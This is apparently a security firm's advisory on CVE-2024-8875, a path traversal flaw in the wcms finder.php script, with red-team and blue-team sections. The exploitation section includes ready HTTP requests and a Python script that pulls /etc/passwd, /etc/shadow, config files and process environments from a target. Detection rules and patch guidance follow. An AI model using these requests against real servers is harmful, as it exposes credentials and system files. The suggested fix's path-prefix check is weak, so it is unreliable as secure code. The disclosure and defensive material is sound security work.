CVE-2024-8875

Executive Summary

CVE-2024-8875 is a critical path traversal vulnerability discovered in the vedees wcms content management system, affecting versions up to 0.3.2. The flaw resides in the /wex/finder.php file, where the p parameter is not properly sanitized, allowing an unauthenticated remote attacker to read arbitrary files from the server's filesystem. The vendor was contacted but did not respond, leaving the vulnerability unpatched. A public proof-of-concept (PoC) exploit is available, increasing the risk of active exploitation. The CVSS score is 0.0 due to incomplete NVD data, but based on the vector, the severity is HIGH (7.5). This vulnerability poses a significant threat to any instance of wcms exposed to the internet.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a standalone PHP application (wcms) hosted on a web server. The risk is entirely within the application's own codebase.

CVSS Breakdown & Threat Level

Threat Level: High. The exploit is trivial, requires no authentication, and can lead to full disclosure of sensitive files (e.g., configuration files, database credentials, source code).

Deep Dive & Mechanics

The vulnerability is a classic path traversal (directory traversal) in the finder.php script. The p parameter is used to specify a file path for the file manager functionality. Without proper validation, an attacker can inject ../ sequences to escape the intended web root directory.

Vulnerable Code Snippet (Conceptual):

// /wex/finder.php
$path = $_GET['p'];
$content = file_get_contents($path); // No sanitization
echo $content;

The application does not check if the resolved path is within the allowed base directory. This allows an attacker to read any file the web server user has access to.

Attack Flow:

1. Attacker sends a GET request to /wex/finder.php?p=../../../etc/passwd.
2. The server resolves the path to /etc/passwd.
3. The file contents are read and returned in the HTTP response.

Vulnerable vs. Patched Code

Since no patch exists, we can only describe the vulnerable code and the ideal fix.

Vulnerable Code (wcms <= 0.3.2):

// /wex/finder.php
$path = $_GET['p'];
if (file_exists($path)) {
    readfile($path);
}

Patched Code (Hypothetical):

// /wex/finder.php
$baseDir = realpath(__DIR__ . '/../uploads/'); // Define allowed base directory
$path = realpath($baseDir . '/' . $_GET['p']);

// Ensure the resolved path is within the base directory
if (strpos($path, $baseDir) === 0 && file_exists($path)) {
    readfile($path);
} else {
    http_response_code(403);
    echo 'Access denied.';
}

The fix uses realpath() to resolve any ../ sequences and then checks that the resulting path starts with the allowed base directory.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A target running wcms <= 0.3.2.
• Network access to the /wex/finder.php endpoint.

Exploit Steps:

1. Identify the target: http://target.com/wex/finder.php
2. Attempt to read /etc/passwd:

   GET /wex/finder.php?p=../../../etc/passwd HTTP/1.1
   Host: target.com
   

3. If successful, read configuration files (e.g., config.php):

   GET /wex/finder.php?p=../config.php HTTP/1.1
   

Automated Exploit (Python):

import requests

target = "http://target.com/wex/finder.php"
payloads = [
    "../../../etc/passwd",
    "../../../etc/shadow",
    "../config.php",
    "../../../proc/self/environ"
]

for payload in payloads:
    r = requests.get(target, params={"p": payload})
    if r.status_code == 200 and len(r.text) > 0:
        print(f"[+] Success: {payload}")
        print(r.text[:500])

Blue Team (Detection & Response)

Detection:

• Monitor web server logs for requests to /wex/finder.php with p parameters containing ../ or absolute paths.
• Alert on any successful 200 response from finder.php with a non-standard file extension (e.g., .php, .conf, .passwd).

Response:

1. Immediately isolate the affected server.
2. Review logs for indicators of compromise (IOCs).
3. If possible, remove or disable the finder.php file.
4. Apply a virtual patch using a WAF (e.g., ModSecurity rule below).

WAF Rule (ModSecurity):

SecRule REQUEST_URI "/wex/finder\.php" "chain,id:1001,deny,status:403,msg:'Path Traversal Attempt'"
SecRule ARGS:p "\.\./" "t:urlDecodeUni"

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /wex/finder.php with p parameter containing ../ or / (e.g., p=../../../etc/passwd).
  • Outbound connections from the web server to unknown IPs (if attacker exfiltrates data).
• File System:
  • Unexpected access to /etc/passwd, /etc/shadow, or application configuration files.
  • Presence of new files in the web root (e.g., webshells).
• Logs:
  • Web server access logs showing GET /wex/finder.php?p=... with 200 status codes.
  • Error logs showing file_get_contents(): Failed to open stream for paths outside the web root.

Detection Engineering

YARA Rule

rule CVE_2024_8875_Path_Traversal {
    meta:
        description = "Detects path traversal attempts against wcms finder.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-8875"
    strings:
        $traversal = /p=[^&]*\.\.\//
        $endpoint = "/wex/finder.php"
    condition:
        $endpoint and $traversal
}

Sigma Rule

title: CVE-2024-8875 Path Traversal in wcms finder.php
id: 8a3f7c2e-1b4d-4e5f-9a0b-2c3d4e5f6a7b
status: experimental
description: Detects path traversal attempts against the wcms finder.php endpoint.
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-uri-stem: "/wex/finder.php"
        cs-uri-query|contains: "p="
        cs-uri-query|re: "\.\./"
    condition: selection
falsepositives:
    - Legitimate use of file manager with relative paths (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-8875 Path Traversal in wcms finder.php"; flow:to_server,established; content:"/wex/finder.php"; http_uri; content:"p="; http_uri; pcre:"/p=[^&]*\.\.\//i"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable or remove the /wex/finder.php file if not required.
2. Apply a virtual patch using a WAF (ModSecurity, Naxsi, or cloud WAF) to block requests containing ../ in the p parameter.
3. Restrict access to the /wex/ directory via .htaccess or web server configuration:

   <Directory "/var/www/html/wex/">
       Require ip 192.168.1.0/24
   </Directory>
   

Long-Term Fix:

• Since the vendor is unresponsive, consider migrating to an alternative CMS.
• If you must continue using wcms, manually patch the code as described in the "Vulnerable vs. Patched Code" section.

Monitoring:

• Enable detailed logging for all requests to /wex/finder.php.
• Set up alerts for any successful 200 responses from this endpoint.

Valters IT
Securing Digital Frontiers